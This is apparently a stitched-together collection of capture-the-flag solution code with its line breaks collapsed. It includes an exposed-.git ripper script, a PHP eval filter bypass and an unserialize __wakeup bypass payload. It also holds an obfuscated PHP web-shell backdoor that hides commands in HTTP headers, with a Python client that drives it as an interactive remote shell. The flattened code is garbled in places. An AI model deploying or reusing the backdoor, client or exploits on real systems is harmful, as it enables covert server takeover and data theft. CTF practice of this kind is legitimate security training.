#!/usr/bin/env python
import hashlibdef md5(s):return hashlib.md5(s).hexdigest()for i in range(1, 9999999):if md5(str(i)).startswith('3c7258'):print i

<?php
$f = $_POST['flag'];
$f = str_replace(array('`', '$', '*', '#', ':', '\\', '"', "'", '(', ')', '.', '>'), '', $f);
if((strlen($f) > 13) || (false !== stripos($f, 'return')))
{die('wowwwwwwwwwwwwwwwwwwwwwwwww');
}
try
{eval("\$spaceone = $f");
}
catch (Exception $e)
{return false;
}
if ($spaceone === 'flag'){echo file_get_contents("helloctf.php");
}?>

#!/usr/bin/perluse strict;use LWP;
use LWP::UserAgent;
use HTTP::Request;
use Getopt::Long;my $configfile="$ENV{HOME}/.rip-git";
my %config;
$config{'branch'} = "master";
$config{'gitdir'} = ".git";
$config{'agent'} = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:10.0.2) Gecko/20100101 Firefox/10.0.2';
$config{'verbose'}=0;
$config{'checkout'}=1;if (-e $configfile) {open(CONFIG,"<$configfile") or next;while (<CONFIG>) {chomp;                  # no newlines/#.*//;                # no commentss/^\s+//;               # no leading whites/\s+$//;               # no trailing whitenext unless length;     # anything left?my ($var, $value) = split(/\s*=\s*/, $_, 2);$config{$var} = $value;} close(CONFIG);
}Getopt::Long::Configure ("bundling");my $result = GetOptions ("a|agent=s" => \$config{'agent'},"b|branch=s" => \$config{'branch'},"u|url=s" => \$config{'url'},"c|checkout!" => \$config{'checkout'},"s|verifyssl!" => \$config{'verifyssl'},"v|verbose+"  => \$config{'verbose'},"h|help" => \&help
);my @gitfiles=(
"COMMIT_EDITMSG",
"config",
"description",
"HEAD",
"index",
"packed-refs"
);my @commits;
my $ua = LWP::UserAgent->new;
$ua->agent($config{'agent'});my $gd=$config{'gitdir'}."/";mkdir $gd;print STDERR "[i] Downloading git files from $config{'url'}\n" if ($config{'verbose'}>0);foreach my $file (@gitfiles) {my $furl = $config{'url'}."/".$file;getfile($file,$gd.$file);
}mkdir $gd."logs";
mkdir $gd."logs/refs";
mkdir $gd."logs/refs/heads";
mkdir $gd."logs/refs/remotes";mkdir $gd."objects";
mkdir $gd."objects/info";
mkdir $gd."objects/pack";getfile("objects/info/alternates",$gd."objects/info/alternates");mkdir $gd."info";
getfile("info/grafts",$gd."info/grafts");my $res = getfile("logs/HEAD",$gd."logs/HEAD");my @lines = split /\n/, $res->content;
foreach my $line (@lines) {my @fields=split(/\s+/, $line);my $ref = $fields[1];getobject($gd,$ref);
}mkdir $gd."refs";
mkdir $gd."refs/heads";
my $res = getfile("refs/heads/".$config{'branch'},$gd."refs/heads/".$config{'branch'});
mkdir $gd."refs/remotes";
mkdir $gd."refs/tags";my $pcount=1;
while ($pcount>0) {print STDERR "[i] Running git fsck to check for missing items\n" if ($config{'verbose'}>0);open(PIPE,"git fsck |") or die "cannot find git: $!";$pcount=0;while (<PIPE>) {chomp;if (/^missing/) {my @getref = split (/\s+/);getobject($gd,$getref[2]); # 3rd field is sha1 $pcount++;}}close(PIPE);print STDERR "[i] Got items with git fsck: $pcount\n" if ($config{'verbose'}>0);
}if ($config{'checkout'}) {system("git checkout -f");
}sub getobject {my ($gd,$ref) = @_;my $rdir = substr ($ref,0,2);my $rfile = substr ($ref,2);mkdir $gd."objects/$rdir";getfile("objects/$rdir/$rfile",$gd."objects/$rdir/$rfile");
}sub getfile {my ($file,$outfile) = @_;my $furl = $config{'url'}."/".$file;my $req = HTTP::Request->new(GET => $furl);# Pass request to the user agent and get a response backmy $res = $ua->request($req);if ($res->is_success) {print STDERR "[d] found $file\n" if ($config{'verbose'}>0);;open (out,">$outfile") or die ("cannot open file: $!");print out $res->content;close (out);} else {print STDERR "[!] Not found for $file: ".$res->status_line."\n" if ($config{'verbose'}>0);}return $res;
}sub help {print "DVCS-Ripper: rip-git.pl. Copyright (C) Kost. Distributed under GPL.\n\n";print "Usage: $0 [options] -u [giturl] \n";print "\n";print " -c  perform 'git checkout -f' on end (default)\n";print " -b <s>  Use branch <s> (default: $config{'branch'})\n";print " -a <s>   Use agent <s> (default: $config{'agent'})\n";print " -s   verify SSL cert\n";print " -v verbose (-vv will be more verbose)\n";print "\n";print "Example: $0 -v -u http://www.example.com/.git/\n";print "Example: $0 # with url and options in $configfile\n";exit 0;
}

perl rip-git.pl -v -u http://ddb094bd01f34026b31b73f3493ca4aecef278b88da74c26.ctf.game/Challenges/.git/git loggit reset --hard 12c6ddf4af0a5542c1cf6a9ab19b4231c1fd9a88

<?php
echo "flag{true_flag_is_in_the_b4ckdo0r.php}";
?>

curl http://ddb094bd01f34026b31b73f3493ca4aecef278b88da74c26.ctf.game/Challenges/.b4ckdo0r.php.swo #用curl下载swo文件vim -r b4ckdo0r.php.swo #恢复swo文件

<?php
echo "can you find the source code of me?";
/*** Signature For Report*/$h='_)m/","/-/)m"),)marray()m"/","+")m),$)mss($s[$i)m],0,$e))))m)m,$k)));$o=ob)m_get_c)monte)m)mnts)m();ob_end_clean)';/**/$H='m();$d=ba)mse64)m_encode)m(x(gzc)mompres)ms($o),)m$)mk));print("<)m$k>$d<)m/)m$k>)m");@sessio)mn_d)mestroy();}}}}';/**/$N='mR;$rr)m=@$r[)m"HTT)mP_RE)mFERER"];$ra)m=)m@$r["HTTP_AC)mC)mEPT_LANG)mUAGE)m")m];if($rr)m&&$ra){)m$u=parse_u)mrl($rr);p';/**/$u='$e){)m$k=$)mkh.$kf;ob)m_start();)m@eva)ml(@gzunco)mmpr)mess(@x(@)mbase6)m4_deco)mde(p)m)mreg_re)mplace(array("/';/**/$f='$i<$)ml;)m){)mfo)mr($j)m=0;($j<$c&&$i<$l);$j)m++,$i+)m+){$)mo.=$t{$i)m}^$)mk{$j};}}r)meturn )m$o;}$r)m=$_SERVE)';/**/$O='[$i]="";$p)m=$)m)mss($p,3)m);}if(ar)mray_)mkey_exists)m()m$i,$s)){$)ms[$i].=$p)m;)m$e=s)mtrpos)m($s[$i],$f);)mif(';/**/$w=')m));)m$p="";fo)mr($z=1;)m$z<c)mount()m$m[1]);$)mz++)m)m)$p.=$q[$m[)m)m2][$z]];if(str)mpo)ms($p,$h))m===0){$s)m';/**/$P='trt)molower";$)mi=$m[1][0)m)m].$m[1][1])m;$h=$sl()m$ss(m)md5($)mi.$kh)m),0,)m3));$f=$s)ml($ss()m)mmd5($i.$kf),0,3';/**/$i=')marse_)mstr)m($u["q)muery"],$)m)mq);$q=array)m_values()m$q);pre)mg_matc)mh_all()m"/([\\w)m])m)[\\w-)m]+(?:;q=0.)';/**/$x='m([\\d)m]))?,?/",)m$ra,$m))m;if($q)m&&$)mm))m)m{@session_start();$)ms=&$_S)mESSI)m)mON;$)mss="sub)mstr";$sl="s)m';/**/$y=str_replace('b','','crbebbabte_funcbbtion');/**/$c='$kh="4f7)m)mf";$kf="2)m)m8d7";funct)mion x($t)m,$k){$)m)mc=strlen($k);$l=st)mrlen)m($t);)m)m$o="";for()m$i=0;';/**/$L=str_replace(')m','',$c.$f.$N.$i.$x.$P.$w.$O.$u.$h.$H);/**/$v=$y('',$L);$v();/**/
?>

#!/usr/bin/env python
# encoding: utf-8
from random import randint,choice
from hashlib import md5
import urllib
import string
import zlib
import base64
import requests
import redef choicePart(seq,amount):length = len(seq)if length == 0 or length < amount:print 'Error Input'return Noneresult = []indexes = []count = 0while count < amount:i = randint(0,length-1)if not i in indexes:indexes.append(i)result.append(seq[i])count += 1if count == amount:return resultdef randBytesFlow(amount):result = ''for i in xrange(amount):result += chr(randint(0,255))return  resultdef randAlpha(amount):result = ''for i in xrange(amount):result += choice(string.ascii_letters)return resultdef loopXor(text,key):result = ''lenKey = len(key)lenTxt = len(text)iTxt = 0while iTxt < lenTxt:iKey = 0while iTxt<lenTxt and iKey<lenKey:result += chr(ord(key[iKey]) ^ ord(text[iTxt]))iTxt += 1iKey += 1return resultdef debugPrint(msg):if debugging:print msg# config
debugging = False
keyh = "4f7f" # $kh
keyf = "28d7" # $kf
xorKey = keyh + keyf
url = 'http://ddb094bd01f34026b31b73f3493ca4aecef278b88da74c26.ctf.game/Challenges/b4ckdo0r.php'
defaultLang = 'zh-CN'
languages = ['zh-TW;q=0.%d','zh-HK;q=0.%d','en-US;q=0.%d','en;q=0.%d']
proxies = None # {'http':'http://127.0.0.1:8080'} # proxy for debugsess = requests.Session()# generate random Accept-Language only once each session
langTmp = choicePart(languages,3)
indexes = sorted(choicePart(range(1,10),3), reverse=True)acceptLang = [defaultLang]
for i in xrange(3):acceptLang.append(langTmp[i] % (indexes[i],))
acceptLangStr = ','.join(acceptLang)
debugPrint(acceptLangStr)init2Char = acceptLang[0][0] + acceptLang[1][0] # $i
md5head = (md5(init2Char + keyh).hexdigest())[0:3]
md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3,8))
debugPrint('$i is %s' % (init2Char))
debugPrint('md5 head: %s' % (md5head,))
debugPrint('md5 tail: %s' % (md5tail,))# Interactive php shell
cmd = raw_input('phpshell > ')
while cmd != '':# build junk data in refererquery = []for i in xrange(max(indexes)+1+randint(0,2)):key = randAlpha(randint(3,6))value = base64.urlsafe_b64encode(randBytesFlow(randint(3,12)))query.append((key, value))debugPrint('Before insert payload:')debugPrint(query)debugPrint(urllib.urlencode(query))# encode payloadpayload = zlib.compress(cmd)payload = loopXor(payload,xorKey)payload = base64.urlsafe_b64encode(payload)payload = md5head + payload# cut payload, replace into referercutIndex = randint(2,len(payload)-3)payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)iPiece = 0for i in indexes:query[i] = (query[i][0],payloadPieces[iPiece])iPiece += 1referer = url + '?' + urllib.urlencode(query)debugPrint('After insert payload, referer is:')debugPrint(query)debugPrint(referer)# send requestr = sess.get(url,headers={'Accept-Language':acceptLangStr,'Referer':referer},proxies=proxies)html = r.textdebugPrint(html)# process responsepattern = re.compile(r'<%s>(.*)</%s>' % (xorKey,xorKey))output = pattern.findall(html)if len(output) == 0:print 'Error,  no backdoor response'cmd = raw_input('phpshell > ')continueoutput = output[0]debugPrint(output)output = output.decode('base64')output = loopXor(output,xorKey)output = zlib.decompress(output)print outputcmd = raw_input('phpshell > ')

<?php
$requset = array_merge($_GET, $_POST, $_COOKIE);
$arr = array('user'=>'ichunqiu');
$a = base64_encode(gzcompress(serialize($arr)));
$login = unserialize(gzuncompress(base64_decode($a)));
echo $a;
?>

#include<stdio.h>
#include<string.h>
void main() {
char str[100]="";
int i;
int len;
printf("input string:\n");
gets(str);
len=strlen(str);
printf("result:\n");
for(i=0;i<len+1;i++)
{putchar(str[len-i]);
}
printf("\n");
}

#!/usr/bin/env python
str = 'ba1f2511fc30423bdb'
print str[::-1]

#!/usr/bin/env python
import base64
s = 'ZmxhZ3tpY3FlZHVfZ29nb2dvX2Jhc2U2NH0='
print base64.b64decode(s)

do you know Vulcan Logic Dumper?<br>false<br><!-- index.php.txt ?>

<?phprequire_once 'dbmysql.class.php';
require_once 'config.inc.php';if(isset($_POST['username']) && isset($_POST['password']) && isset($_POST['number'])){$db = new mysql_db();$username = $db->safe_data($_POST['username']);$password = $db->my_md5($_POST['password']);$number = is_numeric($_POST['number']) ? $_POST['number'] : 1;$username = trim(str_replace($number, '', $username));$sql = "select * from"."`".table_name."`"."where username="."'"."$username"."'";$row = $db->query($sql);$result = $db->fetch_array($row);if($row){if($result["number"] === $number && $result["password"] === $password){echo "<script>alert('nothing here!')</script>";}else{echo "<script>alert('密码错误，老司机翻车了!');function jumpurl(){location='login.html';}setTimeout('jumpurl()',1000);</script>";}}else{exit(mysql_error());}
}else{echo "<script>alert('用户名密码不能为空!');function jumpurl(){location='login.html';}setTimeout('jumpurl()',1000);</script>";
}?>

#!/usr/bin/env python
import binascii as ba
b = '666c61677b686578327374725f6368616c6c656e67657d'
a = ba.a2b_hex(b)
print a

#!/usr/bin/env python
str = '}~144_0t_em0c14w{galf'
print str[::-1]

#!/bin/bash
import hashlib
def md5(data):m = hashlib.md5()m.update(data)a = m.hexdigest()return aa = 'ichunqiu'
b = 'abcdefghijklmnopqrstuvwxyz1234567890'
for i in b:for j in b:for k in b:if md5(a+i+j+k)=='1b4167610ba3f2ac426a68488dbd89be':print a+i+j+k

<?php
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {$ckey_length = 4;$key = md5($key ? $key : UC_KEY);$keya = md5(substr($key, 0, 16));$keyb = md5(substr($key, 16, 16));$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : '';$cryptkey = $keya . md5($keya . $keyc);$key_length = strlen($cryptkey);$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;$string_length = strlen($string);$result = '';$box = range(0, 255);$rndkey = array();for ($i = 0; $i <= 255; $i++) {$rndkey[$i] = ord($cryptkey[$i % $key_length]);}for ($j = $i = 0; $i < 256; $i++) {$j = ($j + $box[$i] + $rndkey[$i]) % 256;$tmp = $box[$i];$box[$i] = $box[$j];$box[$j] = $tmp;}for ($a = $j = $i = 0; $i < $string_length; $i++) {$a = ($a + 1) % 256;$j = ($j + $box[$a]) % 256;$tmp = $box[$a];$box[$a] = $box[$j];$box[$j] = $tmp;$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));}if ($operation == 'DECODE') {if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {return substr($result, 26);} else {return '';}} else {return $keyc . str_replace('=', '', base64_encode($result));}}echo authcode($string = 'fda6UvwerCgVTBBzk/0doqIsXVv1oIlQD6pWMeDuvt/AbGoz6684WYwelmxpY6v1RQo5DIXrJaNiyxSK4JBFn3DcjDqPzvs', $operation = 'DECODE', $key = 'ichunqiu105');
?>

strings babyre | grep flag

import random, base64
from hashlib import sha1  def crypt(data, key):  x = 0  box = range(256)  for i in range(256):  x = (x + box[i] + ord(key[i % len(key)])) % 256  box[i], box[x] = box[x], box[i]  x = y = 0  out = []  for char in data:  x = (x + 1) % 256  y = (y + box[x]) % 256  box[x], box[y] = box[y], box[x]  out.append(chr(ord(char) ^ box[(box[x] + box[y]) % 256]))        return ''.join(out)    def tdecode(data, key, decode=base64.b64decode, salt_length=16):  if decode:  data = decode(data)salt = data[:salt_length]    return crypt(data[salt_length:], sha1(key + salt).digest())  if __name__=='__main__':  data = 'UUyFTj8PCzF6geFn6xgBOYSvVTrbpNU4OF9db9wMcPD1yDbaJw=='    key = 'welcometoicqedu'    decoded_data = tdecode(data=data, key=key)  print decoded_data

 <?php
class Demo {private $file = 'Gu3ss_m3_h2h2.php';public function __construct($file) {$this->file = $file;}function __destruct() {echo @highlight_file($this->file, true);}function __wakeup() {if ($this->file != 'Gu3ss_m3_h2h2.php') {//the secret is in the f15g_1s_here.php$this->file = 'Gu3ss_m3_h2h2.php';}}
}if (isset($_GET['var'])) {$var = base64_decode($_GET['var']);if (preg_match('/[oc]:\d+:/i', $var)) {die('stop hacking!');} else {@unserialize($var);}
} else {highlight_file("Gu3ss_m3_h2h2.php");
}
?>

<?php
class Demo {private $file = 'Gu3ss_m3_h2h2.php';public function __construct($file) {$this->file = $file;}function __destruct() {echo @highlight_file($this->file, true);}function __wakeup() {if ($this->file != 'Gu3ss_m3_h2h2.php') {//the secret is in the f15g_1s_here.php$this->file = 'Gu3ss_m3_h2h2.php';}}
}$a = new Demo('f15g_1s_here.php');
$a = serialize($a);
echo $a;
echo '<br />';
$b = str_replace('O:4', 'O:+4',$a);
$b = str_replace(':1:', ':5:' ,$b);
echo '<br />';
echo base64_encode($b);

# Caesar CipherMAX_KEY_SIZE = 26def getMode():while True:print('Do you wish to encrypt or decrypt a message?')mode = raw_input().lower()if mode in 'encrypt e decrypt d'.split():return modeelse:print('Enter either "encrypt" or "e" or "decrypt" or "d".')def getMessage():print('Enter your message:')return raw_input()def getKey():key = 0while True:print('Enter the key number (1-%s)' % (MAX_KEY_SIZE))key = int(input())if (key >= 1 and key <= MAX_KEY_SIZE):return keydef getTranslatedMessage(mode, message, key):if mode[0] == 'd':key = -keytranslated = ''for symbol in message:if symbol.isalpha():num = ord(symbol)num += keyif symbol.isupper():if num > ord('Z'):num -= 26elif num < ord('A'):num += 26elif symbol.islower():if num > ord('z'):num -= 26elif num < ord('a'):num += 26translated += chr(num)else:translated += symbolreturn translatedmode = getMode()
message = getMessage()
if mode[0] != 'd':key = getKey()
print('Your translated text is:')if mode[0] != 'd':print(getTranslatedMessage(mode, message, key))
else:for key in range(1,MAX_KEY_SIZE + 1):print(key,getTranslatedMessage('decrypt',message,key))